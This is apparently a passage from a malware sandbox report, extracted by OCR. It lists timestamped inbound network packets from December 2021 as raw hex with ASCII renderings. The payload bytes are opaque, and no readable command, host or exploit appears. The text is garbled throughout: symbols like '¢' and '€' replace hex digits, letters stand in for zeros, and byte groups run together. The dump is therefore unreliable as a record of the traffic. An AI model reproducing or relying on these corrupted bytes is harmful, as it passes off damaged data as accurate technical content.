41 28 1a 6¢ 68 0a f7 3c ff ee 3b 66 31 0a 6¢ 01 5f 32 1c af 9b c9 b2 61 9a 13 10 21 29 fe 60 5b c5 e7 74 bc a4 14 f0 bl 61
ad cf 86 0a 56 39 51 75 54 fb 5e 75 Oc 92 29 05 41 5e 6d 42 a8 c5 56 ac 6e 25 49 61 Ob 83 be 92 94 14 al 80 02 59 76 cf
6a 49 f4 fc 78 76 a7 89 56 67 ae 48 26 8¢ b8 34 c8 de ee 2b 35 cd f9 0a 3a Oc ¢9 24 20 73 72 92 9¢c 17 19 bc 11 4b 4e aa
4e 2c eb c3 4f 6a f6 d2 ca 3a 26 5d 35 b3 fb d6 65 7c 86 8¢ 88 3d 2a d1 ¢4 90 09 fc 66 68 ba 92 1a 1d al 71 b3 db 98 3¢
df f5 75 70 5d 5b a9 16 e8 ad c9 dd 01 3f a4 55 e6 7c dd 57 d9 77 ad 2f 54 6c 56 d3 79 1b 46 38 02 f2 30 fe c1 3b 83 02
€9 64 d5 00 60 c8 01 49 6¢ 42 95 8 86 bc 43 8f db 05
Data Ascii: 4]j{"U%|&L\21F{O-A(Ih<;f1l_2a!) [taVOQUTAu)A"mBVn%laYvjlxvWgH&4+5:$ srkNN,Oj:&]5e|=*fhq<up][?U|Ww/
TIVyF80;d'IIBC

2021-12-01 18:10:27 UTC 84 IN Data Raw: 41 7b a3 5d 9c 1a f9 66 35 4a 7b 07 32 cc Of b3 cd 5¢ 59 38 2b 5f 4d 98 9b 76 b7 13 a3 f8 12 86 3b 7e 2a c3 66
b5 77 9d fe 5a 7b 24 80 a3 dc d1 30 8e Oc b2 83 5d e7 6 94 35 ba cf c8 91 e4 09 8b 5e 94 5d 43 a5 6d 2f ec 5a 87 f1 50
08 de b6 2e 85 ba 6¢ 4e 6f c2 0d d0 92 a6 07 d9 €6 f9 90 Oc 1e 8e 57 ec 44 fa 5b 88 42 c3 {7 85 b0 e2 13 a2 e2 a3 12 93
C7 97 ae 80 13 Ob 2b 4e al a4 7f fe 59 85 5d b5 ad a0 d1 ea 83 53 8a 3e 76 4f af bb b9 87 81 c0 8¢ 1c 1e d1 4d 22 62 80
5498 4d 7f 75 81 d8 5 64 19 64 f0 70 Of cf bd 73 2e ef 8b 80 36 22 10 7 ae 3c 80 ac 7c 1c af b4 f4 83 b7 80 09 89 bf 22
9d de bd 9b 05 50 fb 19 b7 33 29 f4 74 8f 8e d3 75 23 b6 e2 36 bf 6a c4 52 48 c1 95 66 1f ce 5b 3b 19 bc 62 a0 b3 5f 69 c7
63 be 74 f1 b1 7a b4 89 ab 31 48 b3 fc 7c 68 2b
Data Ascii: A{f5{2\Y8+_Mv;~*wZ{$0]5~]Cm/ZP.INoWD[B+NY]S>vOM"bTMuddps.6'<|"P3)tu#6jRH[;b_ictz1H]h+

2021-12-01 18:10:27 UTC 86 IN Data Raw: 5¢ 47 5¢ de 37 c9 8 95 45 c6 db 48 e0 dd d0 b8 32 68 a7 76 45 a9 0d 2¢ 46 20 87 9c d6 5a 04 17 89 d2 94 ae
2c 04 01 10 17 9a f3 05 e6 3b cb 18 16 ad ca c5 ef 08 6¢ 6a d8 d6 8b 1e 06 c8 27 29 af 13 38 87 46 3c cb 7b 12 ad 09 9¢
47 ad ca 07 73 0d Ob 78 3¢ 19 bc a5 52 67 25 76 el 24 9d 83 88 5¢ 38 2d 02 49 09 el 7e 2f 80 {7 €0 74 4f 2e 89 fd 2b 36
6458 43 5 35 ed 19 2d dc 8b 66 7b 7b 99 38 61 78 15 7e 87 b7 bl 0d 1f 28 21 Of 7e 66 3f f0 72 9f ab 12 75 ec 9f ac e2 8e
00 2b 73 17 75 50 fd e7 fe 8c 92 23 2d 2d 7f ed 48 bf 49 47 b7 69 Oe 7d 5f 0a 8a a2 44 cf 38 a3 9d 60 d8 7e d3 92 c4 e7 fe
53 72 8¢ 1 b6 8a 42 40 31 4b bc 2c cd 11 67 04 36 18 a0 35 38 Oc d0 Ob 42 19 bl d3 9e 17 a0 94 50 58 58 b3 51 2f 14 3¢
b0 95 e9 cd d0 2f d8 4d 16 al cO 2b be dc b4 9d 8¢
Data Ascii: \G\7EH2hVE, F Z,:lj)8F<{Gsx<Rg%v$\8-|~/tO.+6dXC5-f{{8ax~(I~f2ru+suP#--HIGi}_D8'~SrB@1K.g
658BPXXQ/</M+

2021-12-01 18:10:27 UTC 87 IN Data Raw: 05 95 28 f1 2a 83 3d 77 2f Of a0 fd da 01 al 7e 46 73 df d4 bd 07 f1 a3 3f 8c 78 20 1e 4e e5 7f bd fd 20 d3 ed c5
a6 1d 50 29 Oe 7c bl 16 e6 b2 1f 69 ae 9e b2 7e 85 19 2e c2 a4 0d df c1 cd b7 8b 7 da 64 06 b1 bc 00 ef e6 cc b2 f4 5d
341852 62 1b d7 77 44 72 6e d1 b5 fe 65 c0 8f 23 90 32 03 19 50 92 82 51 3 00 ac ee f4 €8 93 73 28 be dc 8a 75 99 7a
9331 3b 93 a6 f4 87 3d 91 2b c0 62 71 f8 f5 €3 eb b7 cd b7 29 db Ob 8f 78 af 19 3a 6e 67 07 a9 d6 30 f6 44 4a 1le 7f 2e 85
al 36 dc 60 c2 1d dd f6 63 f9 d8 ce 7f 21 83 f6 84 48 e2 5f dd 68 98 4d d6 c1 21 bl ce 38 bc 25 27 31 82 ce 03 99 ¢6 7b d1
4d 19 82 a4 7f e5 24 4e 5d 5 f2 a3 53 e8 8b 71 69 al 69 5a ab 62 34 bc 8e db 70 60 f9 df 4f 5d bd 88 7c c6 74 1b 80 6d
36 fa 71 ce f5 e4 7f 10 ee 40 01 3d e7 9a 83
Data Ascii: (*=w/~Fs?x N P)|i~.d]J4RbwDrne#2PQs(uz1;=+bq)x:ng0DJ.6"c!H_hM!8%'1{M3$N]Sqiizb4p O]|tm6q@=
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2021-12-01 18:10:27 UTC 88 IN Data Raw: 96 85 5b ba d7 09 28 7d 7d 60 cb d5 d4 81 c0 fd 31 7 98 bd 75 b6 1a 1b ee 76 c5 3f 15 6f 26 c2 bd 27 5b b7 83
88 40 a3 b4 b3 b8 8d f6 2c 8e 05 86 15 b9 de 41 34 37 eb d1 d9 30 cd 6b 28 96 50 e5 e0 a5 0a 8b dO af 02 0a 40 e7 96 6f
47 65 42 f9 72 da f7 80 48 43 1c 64 f3 db d1 4f 62 eb a6 7c 52 2d 41 6¢ 44 21 9e bc 8b 48 17 12 98 c7 €8 2 24 fa Oa 14 5f
8e f4 1c c3 6¢ cd 07 17 af c0 d4 3 88 5a 5b 26 d5 dc 83 04 b3 ea 9e c0 02 31 96 48 48 7c ff 12 ad Ob b6 2d 67 ca 0d 75 7f
dc 7e ea 92 90 d6 6d 67 5e ac f0 21 ea d2 87 74 75 04 40 41 Ob 90 b1 39 16 80 a7 05 70 26 al b5 38 3e 1d 30 05 {7 3f cf
52 38 4a 36 18 6a 09 da 30 1c al 3d 3c 81 a8 89 36 54 2a 30 0a 70 72 dO fc d1 8f a9 14 fb d1 52 ac 3 9b bf 42 ea 50 75
5a 5e e4 01 8e e9 e2 05 1le 7a e4 53 ae 13 f7 9d
Data Ascii: [(}}"1luv?0&'[@,A470k(P@0GeBrHCdODb|R-AID!H$_IZ[&1HH|-gu~mg*tu@A9p&8>0?R8J6j0=<6T*0prRBPu
azS

2021-12-01 18:10:27 UTC 90 IN Data Raw: 04 6a 85 bc b0 84 81 95 c¢7 89 93 0f c2 9e fe 05 b0 f6 50 27 99 62 6b 7c ¢3 60 d3 13 40 6b c0 41 30 af 44 0a
34 5f ba 81 f8 a5 51 29 05 ce 22 7a c1 92 db 30 3c 16 35 18 al d7 €0 37 b7 99 b6 d8 c6 5b 76 7d 9e 48 25 84 df df a0 97
a2 27 1e 6¢ f3 20 9f b8 52 b9 b8 ce fe f3 f0 aa 03 9a 5f dd fb e7 3e e0 d7 f3 9d 77 32 94 ce c9 7c ab ff 2b c4 2a 47 ac 50
ae 29 0a 3598 13 d4 5e cd 96 51 af cf b2 85 02 1a c7 df b0 d8 c1 c9 10 8f f1 da 62 e7 5f 20 00 eb ef ea 32 ef 47 a2 af 50
73 1f c4 7c 09 00 92 2e 40 e5 0d c8 06 21 90 3c 2c d4 79 92 88 7b cc d7 ac e4 €8 90 7d a8 2a c3 68 b5 77 9d 1e 35 cd 56
15 ad dc c6 15 82 11 4e 82 5b f8 f4 ef fb ba cf dd f4 dO 20 90 54 ed Oc bf a4 4b 05 b5 53 87 fc 50 b6 64 98 2c 92 ae 42 5a
78 3c 1d f3 8f 83 fb f3 29 3 ed c4 c9 84 4c 6d
Data Ascii: jP'bk|' @kAOD4_Q)"z0<57[v}H%'l R_>w2|+*GP)5"Qb_ 2GPs|.@!<,y{}*hw5VN[ TKSPd,BZx<)Lm

2021-12-01 18:10:27 UTC 91 IN Data Raw: f6 6f 8f 6f 69 f5 9e 08 33 2f Oc e0 10 50 8e 30 31 ad 15 05 3d 1d 7b 2e 1d 46 ab 21 e4 3f 98 95 70 02 7a 99 d2
52 2d 50 95 ea 91 41 29 ff ad 56 af 16 89 2a a8 37 32 23 77 ac Oe f6 1e d8 27 98 1d 84 7a 52 bd 1c 59 6a 9f c0 c8 25 8 94
84 51 ab c1 Oc 37 e6 7c f6 ca d7 a9 5f c9 ec 3e 68 26 ac 74 b0 06 af c5 48 d6 2b 04 6a 7d Oa bc 27 5f d7 af 98 53 81 3b
d8 cb cb e7 25 7 Of ¢5 17 bf ¢7 5f 65 32 fb dd b6 1a b4 a0 2e 80 47 €9 e7 b2 d1 8a 4d b8 d8 1b 2e 24 98 44 57 65 42 cO
39 49 el a4 58 29 df 73 25 cc d3 2d 53 fe 70 65 4d 34 3c 3d 53 10 72 85 c4 3e 96 18 89 c2 8a b4 31 20 17 ea 90 a7 f4 16
ea 00 84 05 1d b4 b1 d7 fe 07 68 48 2b c6 af 66 43 b2 ee 23 be 1a 5f 84 43 ea 4e 3f 36 af Ob b2 40 bf cf 19 62 70 db 69 3b
93 0d c1 b7 76 33 6f ff 0a c7 d2 8d 4d 3d 94 56
Data Ascii: 00i3/P01={.F!?pzR-PA)V*72#W'zRY|%Q7|_>h&tH+j}' _S;%_e2.GM.$DWeB9IX)s%-SpeM4<=Sr>1 hH+fC#_CN?
6@bpi;v3oM=V

2021-12-01 18:10:27 UTC 92 IN Data Raw: 14 50 d5 df 85 13 f8 66 65 b5 92 18 3b ac 43 29 d8 4b 38 de €0 61 6e c2 29 a9 07 e0 98 2c dd 2d 33 c1 69 ce
62 c4 24 d0 71 7e 26 7c e0 51 e3 68 1e 42 bl 3e f6 21 fa c6 16 fc b4 fb 6d fa be 09 c8 01 5e 7a 50 86 87 56 42 40 80 df b8
13 42 57 ab bb 93 9b 87 5d 6e 82 04 d4 al 79 15 bb d4 80 71 9b 68 70 0d c5 f5 d5 18 51 62 c4 eb 1d be 85 0b 3e 4c 7f a9
€9 b4 47 30 ad f0 81 7f 5b 86 f3 ec 32 09 21 f1 2d fc eb 26 b3 b0 07 ¢9 cc 4d 41 a0 89 42 23 37 c4 ca a3 7d b7 23 b2 7d fb
3b 80 ba da 86 €9 ce e8 db 1e b3 10 9a 73 ce da bb c2 3 80 39 9e 64 31 fa 5¢c c¢3 7c bb e4 32 2d fd e6 b3 41 aa 12 3e 7f
9a 13 c0 39 e6 96 40 be a8 80 84 2e 18 d3 b7 7a c3 d2 c7 01 9a fd d4 68 83 76 90 07 e8 f6 41 3c e4 43 7e bc 45 68 04 de
8a 36 61 60 cO b9 f6 08 3d 78 13 9c 27 27 48 58 92
Data Ascii: Pfe;C)K8an),-3ib$g~&|QhB>!m"zPVB@BW]nyghpQb>LG0[2!-&MAB#7}#};59d1\|2-A>9@.zhvA<C~Eh6a =x
"HX

2021-12-01 18:10:27 UTC 93 IN Data Raw: 26 e0 08 e8 a2 1c 87 af 6a 07 b4 b8 e3 69 bb af 56 8a d6 ef 8f dc ab 93 06 51 3f 75 b4 9f 28 f6 70 b0 05 97 75
23 9f 43 3f b9 €0 91 54 59 c6 bf b6 c6 ce 51 17 c8 c6 be aa a4 d7 40 5d 18 60 5¢ c2 b4 15 20 a0 f1 37 4a c2 31 7a 40 75
e4 e4 f8 e0 d9 f4 9a 6d 48 27 18 f9 c5 1f a3 09 Oa 85 31 Of 2e 1f 6e 1f Oc 6e c6 21 f6 32 98 d4 75 02 7a a2 74 73 2¢ 57 b3
fc Of 6d 01 c7 ac 45 a8 e8 ab Oe 80 00 bf 08 7d bf 06 €6 39 c8 2¢ b0 22 ae af 50 ab Oc 62 d6 8c d3 df Oe ce 87 82 79 93 d2
18 2f 2¢ 54 71 cc ee 29 4d c0 fd 23 42 8¢ 74 74 b6 14 37 61 4b 1e 28 cf 7e 52 19 b6 1f 90 ¢4 bc 8a 42 d2 71 d9 cb c9 e5
27 1e 3e ca 15 ¢2 08 57 74 3e fb da ce e4 2¢ b3 24 94 2f 31 f1 a3 d8 28 b4 be 04 19 37 23 be b9 47 74 49 c7 ba df f7 8a
4b 2c ce 70 db 7c d6 3c 57 c1 3a 76 43 2f 23 20
Data Ascii: &jiVQ?u(pu#C?TYQ@]'\ 7J1z@umH'1.nn!2uzts, WmE}9,"Pby/, Tq)M#Btt7aK(~RBq>Wt>,$/1(7#GtIK,p|<W:vC/#

2021-12-01 18:10:27 UTC 95 IN Data Raw: 7e 09 3a 5b 09 8a a2 7b 4f 2b ba 84 01 61 de d3 94 48 de ef 5d 1c ab 5 a9 92 4e 75 5e bl b2 33 ca fc 6a 39
27 0e e8 88 3a 0c da 12 37 7d ad a7 9e 17 a0 aa 00 56 37 56 47 14 03 ac 25 68 f6 ¢9 d0 2d ¢9 51 31 02 fd d5 b9 eb d6 e7
8a3c33f9e98511f21855al6c 1120 a6 78 e8 9f 90 3d de ec 1f 00 4¢c 52 a3 Ob f0 bb 1f f2 2e 39 b4 50 a0 60 ce 54 ff
77 af 37 bb 63 15 d7 6a 1f 5b db 51 f0 30 f5 f1 38 54 12 e4 46 9d 96 60 ce 2c 45 78 5f bf ad 43 bc 45 e4 b4 96 04 60 a2 be
b0 93 9b 8d be 21 80 04 df e6 Oe 16 bb d4 d5 36 97 7f ac 64 da el f1 09 48 5¢ 81 24 e7 41 4c 27 Oe 5d b4 81 32 al 51 25
c8a4 31 7e 51 a0 e2 f6 29 1c 27 27 90 d2 e0 31 a0 07 bb c9 cc 4c 4a a7 8e 60 80 26 ce df 9c 92 b6 Of b7 03 9e 28 89 3e
4b a8 b3 e7 cc d8 01 ad 6c¢ fc 71 df da 84 32 e7 bd
Data Ascii: ~:[{O+aH]Nu3j9':7}V7VG%h-Q1<3Ul x=LR.9P Tw7cj[QO8TF",Ex_CE16dH\$ALT2Q%1~Q)"1LJ &(>Klq2

2021-12-01 18:10:27 UTC 96 IN Data Raw: 40 88 85 99 4d d8 eb 00 6a ce 32 af 9c 51 1b 82 c4 2b bl 9e 49 d3 47 2b al a4 7f fe 59 85 5d {7 de 9f 40 ea 89
5b 25 dc 88 50 bc b0 ba be 01 da 72 17